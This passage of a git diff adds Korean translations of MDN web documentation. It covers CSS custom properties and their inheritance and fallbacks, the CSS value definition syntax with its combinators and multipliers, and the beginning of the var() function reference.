+ margin: 10px;
+ width: 50px;
+ height: 50px;
+ display: inline-block;
+}
+
+.two {
+ color: white;
+ background-color: black;
+ margin: 10px;
+ width: 150px;
+ height: 70px;
+ display: inline-block;
+}
+.three {
+ color: white;
+ background-color: brown;
+ margin: 10px;
+ width: 75px;
+}
+.four {
+ color: white;
+ background-color: brown;
+ margin: 10px;
+ width: 100px;
+}
+
+.five {
+ background-color: brown;
+}
+</pre>
+
+<p>HTML에 적용해보겠습니다.</p>
+
+<pre class="brush:html notranslate">&lt;div&gt;
+ &lt;div class="one"&gt;1:&lt;/div&gt;
+ &lt;div class="two"&gt;2: Text &lt;span class="five"&gt;5 - more text&lt;/span&gt;&lt;/div&gt;
+ &lt;input class="three"&gt;
+ &lt;textarea class="four"&gt;4: Lorem Ipsum&lt;/textarea&gt;
+&lt;/div&gt;
+</pre>
+
+<p>결과는 다음과 같습니다.</p>
+
+<p>{{EmbedLiveSample("사용자_지정_속성_첫_단계",600,180)}}</p>
+
+<p>반복되는 CSS에 주목해보세요. 배경 색을 여러 곳에서 <code>brown</code>으로 지정하고 있습니다. 일부 CSS 선언의 경우 더 상위 단계로 반복되는 항목을 옮겨서 CSS의 상속을 통해 자연스럽게 해결할 수도 있습니다. 그러나 보다 복잡한 프로젝트의 경우 항상 이렇게 할 수 있는 것은 아닙니다. 이 때 {{cssxref(":root")}} 의사 클래스에 사용자 지정 속성을 선언하고, 필요한 곳에서 그 속성을 참조함으로써 반복 코드의 필요를 줄일 수 있습니다.</p>
+
+<pre class="brush:html notranslate">:root {
+ --main-bg-color: brown;
+}
+
+.one {
+ color: white;
+ background-color: var(--main-bg-color);
+ margin: 10px;
+ width: 50px;
+ height: 50px;
+ display: inline-block;
+}
+
+.two {
+ color: white;
+ background-color: black;
+ margin: 10px;
+ width: 150px;
+ height: 70px;
+ display: inline-block;
+}
+.three {
+ color: white;
+ background-color: var(--main-bg-color);
+ margin: 10px;
+ width: 75px;
+}
+.four {
+ color: white;
+ background-color: var(--main-bg-color);
+ margin: 10px;
+ width: 100px;
+}
+
+.five {
+ background-color: var(--main-bg-color);
+}
+</pre>
+
+<p>위의 코드는 이전 예제와 동일한 결과물을 낳지만, 원하는 값에 대한 단 하나의 선언만이 필요합니다. 나중에 페이지 전체에 걸쳐 해당 값을 바꿔야 할 경우 특이 유용해집니다.</p>
+
+<h2 id="사용자_지정_속성의_상속">사용자 지정 속성의 상속</h2>
+
+<p>사용자 지정 속성은 상속 대상입니다. 그러므로 특정 요소에 사용자 지정 속성 값을 설정하지 않은 경우, 그 부모의 값을 사용합니다. 다음 HTML 코드를 살펴보세요.</p>
+
+<pre class="brush: html notranslate">&lt;div class="one"&gt;
+ &lt;div class="two"&gt;
+ &lt;div class="three"&gt;&lt;/div&gt;
+ &lt;div class="four"&gt;&lt;/div&gt;
+ &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<p>아래의 CSS 코드를 적용할 것입니다.</p>
+
+<pre class="brush: css notranslate">.two {
+ --test: 10px;
+}
+
+.three {
+ --test: 2em;
+}
+</pre>
+
+<p>그러면, <code>var(--test)</code>의 결과는 다음과 같습니다.</p>
+
+<ul>
+ <li><code>class="two"</code> 요소: <code>10px</code></li>
+ <li><code>class="three"</code> 요소: <code>2em</code></li>
+ <li><code>class="four"</code> 요소: <code>10px</code> (부모로부터 상속)</li>
+ <li><code>class="one"</code> 요소: 유효하지 않음. 모든 사용자 지정 속성의 기본값.</li>
+</ul>
+
+<p>이것들은 실제 CSS변수가 아니라 사용자 지정 속성이라는 것을 염두해 두자. 이 값들은 다른 규칙에서 사용하기 위해 따로 저장되는 것이 아니라, 필요할 때만 계산된다. 예를 들어, 요소의 속성을 설정하거나, 형제의 자손 규칙에서 이 요소를 검색할 수는 없다. 이 속성은 일반적인 CSS와 같이, 선택자가 일치하거나 해당 선택자의 하위 항목일 경우에만 설정된다.</p>
+
+<h2 id="사용자_지정_속성_대안_값">사용자 지정 속성 대안 값</h2>
+
+<p>주어진 변수가 아직 정의되지 않았을 때, <a href="/en-US/docs/Web/CSS/var">var()</a> 를 이용하여 여러 개의 <strong>대체 변수</strong>를 정의할 수 있다. 이는 사용자 정의 요소(Custom Element)및 섀도우 돔(Shadow DOM)으로 작업할 때 유용하게 쓸 수 있다.</p>
+
+<p>함수에 있어서의 첫번째 논쟁은 대체될 <a href="https://www.w3.org/TR/css-variables/#custom-property">사용자 속성</a>의 이름이다. 두번째는 아래와 같이 잘못된 <a href="https://www.w3.org/TR/css-variables/#custom-property">사용자 속성</a>을 참조하였을 때 대신 사용할 수 있는 대체 변수이다:</p>
+
+<pre class="brush: css notranslate">.two {
+ color: var(--my-var, red); /* --my-var가 정의되지 않았을 경우 red로 표시됨 */
+}
+
+.three {
+ background-color: var(--my-var, var(--my-background, pink)); /* my-var와 --my-background가 정의되지 않았을 경우 pink로 표시됨 */
+}
+
+.three {
+ background-color: var(--my-var, --my-background, pink); /* 유효하지 않음: "--my-background, pink" */
+}</pre>
+
+<div class="note">
+<p><a href="https://www.w3.org/TR/css-variables/#custom-property">사용자 속성</a>같은 대체 구문은 쉼표를 허용한다. 예를 들어, var(--foo, red, blue)는 빨강, 파랑의 fallback을 정의하고 있다; 즉, 첫번째 쉼표와 함수 마지막 사이에 있는 값들은 모두 대체 변수로 간주한다.</p>
+</div>
+
+<h2 id="유효성과_값">유효성과 값</h2>
+
+<p><em>각 속성과 연관된 기본 CSS 개념의 유효성은 사용자 지정 속성과 관련하여 별로 유용하지 않다. 사용자 속성 값을 분석할 때, 브라우저는 그것들이 어디서 사용되는지 모르기 때문에 거의 모든 값을 유효한 것으로 간주할 수 밖에 없다.</em></p>
+
+<p>불행히도, 이 유효한 값들은 <code>var()</code> 함수 표현을 통하여 이해할 수 없는 문맥 안에서도 사용될 수 있다. 속성 및 사용자 변수로 인해 유효하지 않은 CSS 선언문이 만들어지면 계산된 시간에 유효한 새로운 개념이 생기게 된다<em>.</em></p>
+
+<h2 id="유효하지_않은_변수를_만날_때">유효하지 않은 변수를 만날 때</h2>
+
+<p> 만일 브라우저가 유효하지 않은   <code>var()</code> 구문을 만나게 되면, 그 속성의 초기값이나 상속된 값이 사용된다.</p>
+
+<p>아래의 코드를 보자.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;p&gt;This paragraph is initial black.&lt;/p&gt; </pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">:root { --text-color: 16px; }
+p { color: blue; }
+p { color: var(--text-color); }
+</pre>
+
+<p>예상대로 브라우저는  <code>--text-color</code> 의 값으로  <code>var(--text-color)</code> 를 대체했지만  <code>16px</code> 는 {{cssxref("color")}}에 유효한 값이 아니다. 대체한 결과, 그 속성은 의미가 통하지 않는다. 브라우저는 이 상황을 두 단계로 처리한다:</p>
+
+<ol>
+ <li>color 속성이 상속되었는지를 확인한다. 확인, 그런데 <code>&lt;p&gt;</code> 가 color 속성과 연관된 부모 엘리먼트가 없다. 그렇다면 다음 단계로 넘어간다.</li>
+ <li>값을 <strong>default initial value</strong>,(초기 설정 디폴트값) 즉, black 으로 처리한다.</li>
+</ol>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample('What_happens_with_invalid_variables')}}</p>
+
+<p>단락의 color 값은 blue가 되지 못한다. 유효하지 않은 값이 폴백 (fallback)이 아닌 초기설정 디포트값으로 대체되었기 때문이다. 만일 사용자가 어떠한 매개변수값 없이 <code>color: 16px</code> 를 쓴다면 에러(syntax error)를 받게 될 것이다. 대신 그 전에 지정된 선언이 사용된다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: CSS 속성/값 쌍에서 에러(syntax error)가 나면 그 라인은 무시되지만 계단식으로 지정된 값, 유효하지 않은 대체적용(substitution) - 유효하지 않은 사용자 지정값을 사용하는 것 - 은 무시되지 않으며, 그 값은 상속된다.</p>
+</div>
+
+<h2 id="JavaScript에서의_값">JavaScript에서의 값</h2>
+
+<p>JavaScript로 사용자 속성값을 사용하는 것은 표준 속성을 사용하는 것과 같다.</p>
+
+<pre class="brush: js notranslate">// 인라인 스타일에서 변수 얻기
+element.style.getPropertyValue("--my-var");
+
+// 어느 곳에서나 변수 얻기
+getComputedStyle(element).getPropertyValue("--my-var");
+
+// 인라인 스타일에 변수 설정하기
+element.style.setProperty("--my-var", jsVar + 4);
+</pre>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("css.properties.custom-property")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{cssxref("--*", "사용자 지정 속성")}}</li>
+</ul>
diff --git a/files/ko/web/css/value_definition_syntax/index.html b/files/ko/web/css/value_definition_syntax/index.html
new file mode 100644
index 0000000000..bc784b05cc
--- /dev/null
+++ b/files/ko/web/css/value_definition_syntax/index.html
@@ -0,0 +1,436 @@
+---
+title: 값 정의 구문
+slug: Web/CSS/Value_definition_syntax
+tags:
+ - CSS
+ - Guide
+ - Reference
+ - Syntax
+ - 구문
+ - 문법
+translation_of: Web/CSS/Value_definition_syntax
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><strong>CSS 값 정의 구문</strong>은 <a href="https://ko.wikipedia.org/wiki/%ED%98%95%EC%8B%9D_%EB%AC%B8%EB%B2%95">형식 문법</a>으로서 CSS 속성이나 함수가 받을 수 있는 유효한 값의 집합을 정의합니다.</span> 유효한 값 집합은 정의 구문으로 인한 제한 외에도 반드시 양의 수가 와야 하는 등, 맥락에 따라 추가로 제한될 수 있습니다.</p>
+
+<p>정의 구문은 허용하는 값과 그 값 사이의 상호 작용을 설명합니다. "키워드", 일부 문자 "리터럴", 주어진 CSS 자료형에 속하는 값이거나, 다른 CSS 속성이 구문의 구성 요소가 될 수 있습니다.</p>
+
+<h2 id="구성_요소_값_유형">구성 요소 값 유형</h2>
+
+<h3 id="키워드">키워드</h3>
+
+<h4 id="일반_키워드">일반 키워드</h4>
+
+<p>사전 정의된 의미가 있는 키워드는 따옴표 없이 문자 그대로 나타납니다. 예시로는 <code>auto</code>, <code>smaller</code>, <code>ease-in</code>이 있습니다.</p>
+
+<h4 id="특별_키워드_inherit_initial_unset">특별 키워드: <code>inherit</code>, <code>initial</code>, <code>unset</code></h4>
+
+<p>모든 CSS 속성은 전역으로 정의한 <code>inherit</code>, <code>initial</code>, <code>unset</code> 키워드를 허용합니다. 세 키워드는 값 정의에 나타나지 않으며 암시적으로 정의됩니다.</p>
+
+<h3 id="리터럴">리터럴</h3>
+
+<p>CSS에서 빗금('<code>/</code>')과 쉼표('<code>,</code>')와 같은 일부 문자는 그대로 나타날 수 있고, 속성 정의에서 값 구분을 위해 사용합니다. 쉼표는 종종 열거하는 값이나 수학형 함수의 매개변수를 구분할 때 사용합니다. 빗금은 의미가 다르지만 구문이 같은 값을 분리할 때 종종 사용합니다. 보통 빗금은 단축 속성에서 자료형이 같은 서로 다른 속성의 값을 구분할 때 쓰입니다.</p>
+
+<p>두 기호 모두 값 정의에 문자 그대로 나타납니다.</p>
+
+<h3 id="자료형">자료형</h3>
+
+<h4 id="기본_자료형">기본 자료형</h4>
+
+<p>어떤 종류의 데이터는 CSS의 전반에서 사용하며, 명세의 모든 값에 대해 한 번만 정의합니다. 이런 데이터의 자료형을 "기본 자료형"이라고 부르며, {{CSSxRef("&lt;angle&gt;")}}과 {{CSSxRef("&lt;string&gt;")}}처럼 이름을 '<code>&lt;</code>'와 '<code>&gt;</code>' 기호로 감싸서 표현합니다.</p>
+
+<h4 id="비_말단_자료형">비 말단 자료형</h4>
+
+<p>보다 덜 흔한 자료형인 "비 말단 자료형" 역시 '<code>&lt;</code>'와 '<code>&gt;</code>'로 감쌉니다.</p>
+
+<p>비 말단 자료형에는 두 종류가 존재합니다.</p>
+
+<ul>
+ <li><u>어떤 속성과 같은 이름을 공유하는</u> 자료형으로, 이름을 따옴표로 감싸는 경우. 이 자료형의 값은 해당 속성이 허용하는 값과 동일합니다. 많은 경우 단축 속성에서 사용합니다.</li>
+ <li><u>다른 속성과 이름을 공유하지 않는</u> 자료형. 기본 자료형과 매우 유사하며, 차이점은 이 자료형의 정의가 어디에 되어있나 정도입니다. 기본 자료형과는 달리, 보통 이 자료형을 사용하는 속성과 가까운 곳에서 정의합니다.</li>
+</ul>
+
+<h2 id="구성_요소_값_결합자">구성 요소 값 결합자</h2>
+
+<h3 id="대괄호"><a id="Brackets" name="Brackets">대괄호</a></h3>
+
+<p><u>대괄호</u>는 다수의 개체, 결합자, 곱수를 감싸서 하나의 구성 요소로 변환합니다. 대괄호는 <strong>구성 요소를 묶어서 우선순위 규칙을 우회</strong>할 때 사용합니다.</p>
+
+<pre class="syntaxbox notranslate">bold [ thin &amp;&amp; &lt;length&gt; ]</pre>
+
+<p>위의 예제는 다음의 값과 일치합니다.</p>
+
+<ul>
+ <li><code>bold thin 2vh</code></li>
+ <li><code>bold 0 thin</code></li>
+ <li><code>bold thin 3.5em</code></li>
+</ul>
+
+<p>하지만 다음과는 일치하지 않습니다.</p>
+
+<ul>
+ <li><code>thin bold 3em</code>. <code>bold</code>를 대괄호로 정의한 구성 요소와 병치했기 때문에 반드시 그 앞에 나타나야 합니다.</li>
+</ul>
+
+<h3 id="병치"><a id="Juxtaposition" name="Juxtaposition">병치</a></h3>
+
+<p>여러 단어, 리터럴, 자료형을 한 개 이상의 공백으로만 구분해서 나란히 배치하는 것을 <u>병치</u>라고 합니다. 병치한 모든 구성 요소는 <strong>필수이며 정확히 순서 그대로 나타나야 합니다</strong>.</p>
+
+<pre class="syntaxbox notranslate">bold &lt;length&gt; , thin
+</pre>
+
+<p>위의 예제는 다음의 값과 일치합니다.</p>
+
+<ul>
+ <li><code>bold 1em, thin</code></li>
+ <li><code>bold 0, thin</code></li>
+ <li><code>bold 2.5cm, thin</code></li>
+ <li><code>bold 3vh, thin</code></li>
+</ul>
+
+<p>하지만 다음과는 일치하지 않습니다.</p>
+
+<ul>
+ <li><code>thin 1em, bold</code>. 모든 개체가 정확한 순서를 따라야 합니다.</li>
+ <li><code>bold 1em thin</code>. 모든 개체가 필수이므로, 리터럴로 표기한 쉼표 역시 존재해야 합니다.</li>
+ <li><code>bold 0.5ms, thin</code>. <code>ms</code> 값은 {{CSSxRef("&lt;length&gt;")}}가 아닙니다.</li>
+</ul>
+
+<h3 id="이중_앰퍼샌드"><a id="Double_ampersand" name="Double_ampersand">이중 앰퍼샌드</a></h3>
+
+<p>두 개 이상의 구성 요소를 <u>이중 앰퍼샌드</u>, <code>&amp;&amp;</code>로 구분하면 모든 개체가 <strong>필수지만 순서는 상관 없음</strong>을 의미합니다.</p>
+
+<pre class="syntaxbox notranslate">bold &amp;&amp; &lt;length&gt;
+</pre>
+
+<p>위의 예제는 다음의 값과 일치합니다.</p>
+
+<ul>
+ <li><code>bold 1em</code></li>
+ <li><code>bold 0</code></li>
+ <li><code>2.5cm bold</code></li>
+ <li><code>3vh bold</code></li>
+</ul>
+
+<p>하지만 다음과는 일치하지 않습니다.</p>
+
+<ul>
+ <li><code>bold</code>. 두 구성 요소가 값에 모두 나타나야 합니다.</li>
+ <li><code>bold 1em bold</code>, 두 구성 요소는 한 번씩만 나타나야 합니다.</li>
+</ul>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> 병치는 이중 앰퍼샌드보다 우선순위가 높습니다. 즉 <code>bold thin &amp;&amp; &lt;length&gt;</code>는 <code>[ bold thin ] &amp;&amp; &lt;length&gt;</code>와 같습니다. 따라서 <code>bold thin &lt;length&gt;</code>와 <code>&lt;length&gt; bold thin</code>은 일치하지만 <code>bold &lt;length&gt; thin</code>은 일치하지 않습니다.</p>
+</div>
+
+<h3 id="이중_바"><a id="Double_bar" name="Double_bar">이중 바</a></h3>
+
+<p>두 개 이상의 구성 요소를 <u>이중 바</u>, <code>||</code>로 구분하면 모든 개체 중 <strong>적어도 하나는 나타나야 하고 순서는 상관하지 않습니다</strong>. 보통 <a href="/ko/docs/Web/CSS/Shorthand_properties">단축 속성</a>의 여러 값을 정의할 때 사용합니다.</p>
+
+<pre class="syntaxbox notranslate">&lt;'border-width'&gt; || &lt;'border-style'&gt; || &lt;'border-color'&gt;
+</pre>
+
+<p>위의 예제는 다음의 값과 일치합니다.</p>
+
+<ul>
+ <li><code>1em solid blue</code></li>
+ <li><code>blue 1em</code></li>
+ <li><code>solid 1px yellow</code></li>
+</ul>
+
+<p>하지만 다음과는 일치하지 않습니다.</p>
+
+<ul>
+ <li><code>blue yellow</code>, 하나의 구성 요소는 한 번만 나타나야 합니다.</li>
+ <li><code>bold</code>, 이 키워드는 어느 개체에도 속하지 않는 값입니다.</li>
+</ul>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> 이중 앰퍼샌드는 이중 바보다 우선순위가 높습니다. <code>bold || thin &amp;&amp; &lt;length&gt;</code>는 <code>bold || [ thin &amp;&amp; &lt;length&gt; ]</code>와 같으며, <code>bold</code>, <code>thin &lt;length&gt;</code>, <code>bold thin &lt;length&gt;</code>, 그리고 <code>thin &lt;length&gt; bold</code>와 일치합니다. 하지만 <code>&lt;length&gt; bold thin</code>은 일치하지 않는데, <code>bold</code>를 생략하지 않으면 <code>thin &amp;&amp; &lt;length&gt;</code> 구성 요소 이전 또는 다음에 위치해야 하기 때문입니다.</p>
+</div>
+
+<h3 id="단일_바"><a id="Single_bar" name="Single_bar">단일 바</a></h3>
+
+<p>두 개 이상의 개체를 <u>단일 바</u>, <code>|</code>로 구분하면 모든 개체 중에서 <strong>한 개만이 반드시 존재해야 합니다</strong>. 보통 가능한 키워드 값의 목록을 구성할 때 사용합니다.</p>
+
+<pre class="syntaxbox notranslate">&lt;percentage&gt; | &lt;length&gt; | left | center | right | top | bottom</pre>
+
+<p>위의 예제는 다음의 값과 일치합니다.</p>
+
+<ul>
+ <li><code>3%</code></li>
+ <li><code>0</code></li>
+ <li><code>3.5em</code></li>
+ <li><code>left</code></li>
+ <li><code>center</code></li>
+ <li><code>right</code></li>
+ <li><code>top</code></li>
+ <li><code>bottom</code></li>
+</ul>
+
+<p>하지만 다음과는 일치하지 않습니다.</p>
+
+<ul>
+ <li><code>center 3%</code>, 오직 하나의 구성 요소만 나타나야 합니다.</li>
+ <li><code>3em 4.5em</code>, 구성 요소는 한 번만 나타나야 합니다.</li>
+</ul>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> 이중 바는 단일 바보다 우선순위가 높으며 <code>bold | thin || &lt;length&gt;</code>는 <code>bold | [ thin || &lt;length&gt; ]</code>와 같습니다. <code>bold</code>, <code>thin</code>, <code>&lt;length&gt;</code>, <code>&lt;length&gt; thin</code>, <code>thin &lt;length&gt;</code>는 일치하지만, <code>|</code> 결합자는 좌우 중 단 하나만 선택할 수 있기 때문에 <code>bold &lt;length&gt;</code>는 일치하지 않습니다.</p>
+</div>
+
+<h2 id="구성_요소_값_배수">구성 요소 값 배수</h2>
+
+<p>배수는 기호로서, 앞의 개체를 몇 번이나 반복할 수 있는지 표시합니다. 배수가 없는 개체는 반드시 단 한 번만 나타나야 합니다.</p>
+
+<p>배수는 거듭 표시할 수 없고, 모든 결합자보다 우선순위가 높습니다.</p>
+
+<h3 id="Asterisk" name="Asterisk"><a id="Asterisk_(*)" name="Asterisk_(*)">별표 (<code>*</code>)</a></h3>
+
+<p><u>별표 배수</u>는 개체가 <strong>0번, 한 번, 또는 여러 번 나타날 수 있음</strong>을 표시합니다.</p>
+
+<pre class="syntaxbox notranslate">bold smaller*</pre>
+
+<p>위의 예제는 다음의 값과 일치합니다.</p>
+
+<ul>
+ <li><code>bold</code></li>
+ <li><code>bold smaller</code></li>
+ <li><code>bold smaller smaller</code></li>
+ <li><code>bold smaller smaller smaller</code> 등등.</li>
+</ul>
+
+<p>하지만 다음과는 일치하지 않습니다.</p>
+
+<ul>
+ <li><code>smaller</code>, <code>bold</code>는 병치이기 때문에 <code>smaller</code> 키워드 앞에 반드시 나타나야 합니다.</li>
+</ul>
+
+<h3 id="Plus" name="Plus"><a id="Plus_()" name="Plus_()">더하기 (<code>+</code>)</a></h3>
+
+<p><u>더하기 배수</u>는 개체가 <strong>한 번 또는 여러 번 나타날 수 있음</strong>을 표시합니다.</p>
+
+<pre class="syntaxbox notranslate">bold smaller+</pre>
+
+<p>위의 예제는 다음의 값과 일치합니다.</p>
+
+<ul>
+ <li><code>bold smaller</code></li>
+ <li><code>bold smaller smaller</code></li>
+ <li><code>bold smaller smaller smaller</code> 등등.</li>
+</ul>
+
+<p>하지만 다음과는 일치하지 않습니다.</p>
+
+<ul>
+ <li><code>bold</code>, <code>smaller</code>는 적어도 한 번 나타나야 합니다.</li>
+ <li><code>smaller</code>, <code>bold</code>는 병치이기 때문에 <code>smaller</code> 키워드 앞에 반드시 나타나야 합니다.</li>
+</ul>
+
+<h3 id="Question_mark" name="Question_mark"><a id="Question_mark_()" name="Question_mark_()">물음표 (<code>?</code>)</a></h3>
+
+<p><u>물음표 배수</u>는 개체가 선택 사항이며, <strong>반드시 0번 또는 한 번만 나타나야 함</strong>을 표시합니다.</p>
+
+<pre class="syntaxbox notranslate">bold smaller?</pre>
+
+<p>위의 예제는 다음의 값과 일치합니다.</p>
+
+<ul>
+ <li><code>bold</code></li>
+ <li><code>bold smaller</code></li>
+</ul>
+
+<p>하지만 다음과는 일치하지 않습니다.</p>
+
+<ul>
+ <li><code>bold smaller smaller</code>, <code>smaller</code>는 최대 한 번만 나타나야 합니다.</li>
+ <li><code>smaller</code>, <code>bold</code>는 병치이기 때문에 <code>smaller</code> 키워드 앞에 반드시 나타나야 합니다.</li>
+</ul>
+
+<h3 id="Curly_braces" name="Curly_braces"><a id="Curly_braces_(_)" name="Curly_braces_(_)">중괄호 (<code>{ }</code>)</a></h3>
+
+<p><u>중괄호 배수</u>는 쉼표로 구분한 두 개의 정수, A와 B를 포함하며 개체가 <strong>최소 A번, 최대 B번 나타나야 함</strong>을 표시합니다.</p>
+
+<pre class="syntaxbox notranslate">bold smaller{1,3}</pre>
+
+<p>위의 예제는 다음의 값과 일치합니다.</p>
+
+<ul>
+ <li><code>bold smaller</code></li>
+ <li><code>bold smaller smaller</code></li>
+ <li><code>bold smaller smaller smaller</code></li>
+</ul>
+
+<p>하지만 다음과는 일치하지 않습니다.</p>
+
+<ul>
+ <li><code>bold</code>, <code>smaller</code>는 적어도 한 번 나타나야 합니다.</li>
+ <li><code>bold smaller smaller smaller smaller</code>, <code>smaller</code>는 최대 3회까지만 나타나야 합니다.</li>
+ <li><code>smaller</code>, <code>bold</code>는 병치이기 때문에 <code>smaller</code> 키워드 앞에 반드시 나타나야 합니다.</li>
+</ul>
+
+<h3 id="Hash_mark" name="Hash_mark"><a id="Hash_mark_()" name="Hash_mark_()">해시 (<code>#</code>)</a></h3>
+
+<p><u>해시 배수</u>는 (더하기 배수처럼) 개체가 한 번 또는 여러 번 나타날 수 있지만, 서로 쉼표로 구분해야 함을 표시합니다.</p>
+
+<pre class="syntaxbox notranslate">bold smaller#</pre>
+
+<p>위의 예제는 다음의 값과 일치합니다.</p>
+
+<ul>
+ <li><code>bold smaller</code></li>
+ <li><code>bold smaller, smaller</code></li>
+ <li><code>bold smaller, smaller, smaller</code>, 등등.</li>
+</ul>
+
+<p>하지만 다음과는 일치하지 않습니다.</p>
+
+<ul>
+ <li><code>bold</code>, <code>smaller</code>는 적어도 한 번 나타나야 합니다.</li>
+ <li><code>bold smaller smaller smaller</code>, 각각의 <code>smaller</code>를 쉼표로 구분해야 합니다.</li>
+ <li><code>smaller</code>, <code>bold</code>는 병치이기 때문에 <code>smaller</code> 키워드 앞에 반드시 나타나야 합니다.</li>
+</ul>
+
+<h3 id="Exclamation_point" name="Exclamation_point"><a id="Exclamation_point_(!)" name="Exclamation_point_(!)">느낌표 (<code>!</code>)</a></h3>
+
+<p>그룹 뒤에 표시하는 <u>느낌표 배수</u>는 그룹이 반드시 존재해야 하며, 그룹 내 항목의 문법으로 인해 전체 콘텐츠가 생략 가능한 형태더라도 최소한 하나의 값은 생성해내야 함을 나타냅니다.</p>
+
+<pre class="syntaxbox notranslate">[ bold? smaller? ]!
+</pre>
+
+<p>위의 예제는 다음의 값과 일치합니다.</p>
+
+<ul>
+ <li><code>bold</code></li>
+ <li><code>smaller</code></li>
+ <li><code>bold smaller</code></li>
+</ul>
+
+<p>하지만 다음과는 일치하지 않습니다.</p>
+
+<ul>
+ <li><code>bold</code>도 없고 <code>smaller</code>도 없는 경우, 적어도 하나의 값은 나타나야 합니다.</li>
+ <li><code>smaller</code>, <code>bold</code>는 병치이기 때문에 <code>smaller</code> 키워드 앞에 반드시 나타나야 합니다.</li>
+ <li><code>bold smaller bold</code>, <code>bold</code>와 <code>smaller</code>는 단 한 번만 나타나야 합니다.</li>
+</ul>
+
+<h2 id="요약">요약</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">기호</th>
+ <th scope="col">이름</th>
+ <th scope="col">설명</th>
+ <th scope="col">예제</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <th colspan="4">결합자</th>
+ </tr>
+ <tr>
+ <td></td>
+ <td>병치</td>
+ <td>구성 요소가 필수이고 순서에 따라 나타나야 함</td>
+ <td><code>solid &lt;length&gt;</code></td>
+ </tr>
+ <tr>
+ <td><code>&amp;&amp;</code></td>
+ <td>이중 앰퍼샌드</td>
+ <td>구성 요소가 필수이지만 순서에 무관함</td>
+ <td><code>&lt;length&gt; &amp;&amp; &lt;string&gt;</code></td>
+ </tr>
+ <tr>
+ <td><code>||</code></td>
+ <td>이중 바</td>
+ <td>구성 요소가 하나 이상 나타나야 하고 순서에 무관함</td>
+ <td><code>&lt;'border-image-outset'&gt; || &lt;'border-image-slice'&gt;</code></td>
+ </tr>
+ <tr>
+ <td><code>|</code></td>
+ <td>단일 바</td>
+ <td>구성 요소가 정확히 하나만 나타나야 함</td>
+ <td><code>smaller | small | normal | big | bigger</code></td>
+ </tr>
+ <tr>
+ <td><code>[ ]</code></td>
+ <td>대괄호</td>
+ <td>우선순위를 우회하기 위해 구성 요소를 묶음</td>
+ <td><code>bold [ thin &amp;&amp; &lt;length&gt; ]</code></td>
+ </tr>
+ <tr>
+ <th colspan="4">배수</th>
+ </tr>
+ <tr>
+ <td></td>
+ <td>배수 없음</td>
+ <td>정확히 한 번</td>
+ <td><code>solid</code></td>
+ </tr>
+ <tr>
+ <td><code>*</code></td>
+ <td>별표</td>
+ <td>0회 이상</td>
+ <td><code>bold smaller*</code></td>
+ </tr>
+ <tr>
+ <td><code>+</code></td>
+ <td>더하기</td>
+ <td>1회 이상</td>
+ <td><code>bold smaller+</code></td>
+ </tr>
+ <tr>
+ <td><code>?</code></td>
+ <td>물음표</td>
+ <td>0회 또는 1회 (선택 사항)</td>
+ <td><code>bold smaller?</code></td>
+ </tr>
+ <tr>
+ <td><code>{A,B}</code></td>
+ <td>중괄호</td>
+ <td>최소 <code>A</code>회, 최대 <code>B</code>회</td>
+ <td><code>bold smaller{1,3}</code></td>
+ </tr>
+ <tr>
+ <td><code>#</code></td>
+ <td>해시</td>
+ <td>1회 이상, 단 쉼표로 구분</td>
+ <td><code>bold smaller#</code></td>
+ </tr>
+ <tr>
+ <td><code>!</code></td>
+ <td>느낌표</td>
+ <td>그룹이 적어도 하나의 값을 생성해야 함</td>
+ <td><code>[ bold? smaller? ]!</code></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSS3 Values", "#value-defs", "Value definition syntax")}}</td>
+ <td>{{Spec2("CSS3 Values")}}</td>
+ <td>Adds the hash mark multiplier.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSS2.1", "about.html#value-defs", "Value definition syntax")}}</td>
+ <td>{{Spec2("CSS2.1")}}</td>
+ <td>Adds the double ampersand combinator.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSS1", "#notation-for-property-values", "Value definition syntax")}}</td>
+ <td>{{Spec2("CSS1")}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/css/var()/index.html b/files/ko/web/css/var()/index.html
new file mode 100644
index 0000000000..49dd9ffb37
--- /dev/null
+++ b/files/ko/web/css/var()/index.html
@@ -0,0 +1,99 @@
+---
+title: var()
+slug: Web/CSS/var()
+tags:
+ - CSS
+ - CSS Custom Properties
+ - CSS Function
+ - CSS Variable
+ - CSS 변수
+ - Experimental
+ - Reference
+translation_of: Web/CSS/var()
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>var()</code></strong> 함수는 <a href="/ko/docs/Web/CSS/--*">사용자 지정 속성</a>, 또는 "CSS 변수"의 값을 다른 속성의 값으로 지정할 때 사용합니다.</span></p>
+
+<pre class="brush: css line-numbers language-css no-line-numbers"><code class="language-css">var(--header-color, blue);</code></pre>
+
+<p><code>var()</code> 함수는 값이 아닌 속성 이름, 선택자 등 다른 곳에 사용할 수 없습니다. 시도할 경우 유효하지 않은 구문이 되거나, 변수와 관계없는 값이 됩니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<p>첫 번째 인수는 값을 가져올 사용자 지정 속성의 이름입니다. 선택적으로 제공할 수 있는 두 번째 인수는 대체값으로, 대상 사용자 지정 속성이 유효하지 않은 경우 대신 사용합니다.</p>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<div class="note">
